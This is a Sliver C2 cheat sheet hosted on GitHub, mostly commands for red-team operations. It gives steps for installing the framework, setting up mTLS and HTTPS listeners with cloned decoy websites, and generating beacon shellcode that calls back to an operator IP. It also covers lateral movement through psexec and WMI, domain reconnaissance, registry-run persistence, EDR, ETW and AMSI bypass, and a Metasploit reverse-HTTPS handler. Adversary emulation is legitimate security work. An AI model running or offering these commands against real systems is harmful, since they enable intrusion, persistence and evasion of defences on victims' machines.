Skip to content

Latest commit

 

History

History
234 lines (194 loc) · 4.42 KB

sliver.md

File metadata and controls

234 lines (194 loc) · 4.42 KB
Raw

Sliver Cheat Sheet

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary. Sliver server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux.

Installation

curl https://sliver.sh/install|sudo bash

Sliver Service

cat > /etc/systemd/system/sliver.service << EOL
[Unit]
Description=Sliver Server
After=syslog.target network.target

[Service]
Type=simple
Restart=always
RestartSec=120
LimitNOFILE=20000
Environment=LANG=en_US.UTF-8
ExecStart=/opt/sliver/sliver-server_linux daemon -l 0.0.0.0 -p <port>

[Install]
WantedBy=multi-user.target
EOL

Restart Deamon & Start Sliver

systemctl daemon-reload
systemctl enable --now sliver

Install Letsencrypt

apt install letsencrypt -y

Setup Letsencrypt

apt install apache2 -y
certbot certonly --non-interactive --quiet --register-unsafely-without-email --agree-tos -a webroot --webroot-path=/var/www/html -d <domain>

Create a New Website

Clone website with wget.

wget --mirror --convert-links --html-extension <target>

Add content to HTTP(S) C2 websites to make them look more legit.

websites add-content --website <name> --web-path <path> --content ./public --recursive

Team Server

Create New Operator

./sliver-server_linux operator -l <teamserver_ip> -p <teamserver_port> -n <username> -s /tmp/<username>.cfg

Connect to Team Server

sliver-client import /tmp/<username>.cfg
sliver-client

Create New Listener

MTLS

mtls -l 443 -L 0.0.0.0 -p

HTTPS

https -l 443 -L 0.0.0.0 -p

HTTPS Domain

https --domain <domain> --cert /path/cert.pem --key /path/privkey.pem --website <website_name> -p

HTTP

http -l 80 -L 0.0.0.0 -p

Payload Creation

Generate Shellcode

generate beacon --mtls <ip address>:<port> -f shellcode

Generate Binary

generate beacon --http <ip address>:<port>

Post Exploitation

Beacon

use <beacon_id>

Sessions

Switching from Beacon Mode to Session Mode

sessions
use <sessions_id>
interactive

Kill All Session

sessions -F -K

Lateral Movement

SMB Listener

pivots named-pipe --bind <named_pipe>
profiles new --format service --named-pipe <local_ip>/pipe/<named_pipe> svc-smb-beacon

PSEXEC Lateral Movement

psexec -d Description -s PAEXEC -p svc-smb-beacon <remote_computer>

WMI Lateral Movement

sharp-wmi 'action=exec computername=<remote_computer> command="C:\windows\temp\xxx.exe" result=true'

Internal Reconnaissance

Situational Awareness - Local

seatbelt -p C:\\Windows\\System32\\werfault.exe -- "-group=user"

Situational Awareness - Domain

sharp-hound-3 -- -c all

Privilege Escalation

sharpup -t 120 -p C:\\Windows\\System32\\werfault.exe audit

Persistence

sharpersist -- '-t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add'

Pivoting

Socks Proxy

interactive
use <session>
socks5 start

Defense Evasion

To run this command need to install extension windows-bypass

EDR Bypass

unhook-boof

ETW Bypass

inject-etw-bypass <pid>

AMSI Bypass

inject-amsi-bypass <pid>

Session Passing

Session passing is using one payload to spawn another payload.

Install Metasploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

Setup Metasploit Handler

use exploit/multi/handler 
set payload windows/x64/meterpreter_reverse_https
set lhost <msf_ip>
set lport <msf_port>
exploit -jz

Inject Metasploit

msf --lhost <msf_ip> --lport <msf_port>

Misc

Install Extension From Local

extensions install /path/bof

Install Extension Using Armory

armory install windows-bypass
armory install windows-pivot
armory install situational-awareness
armory install .net-execute
armory install .net-pivot
armory install .net-recon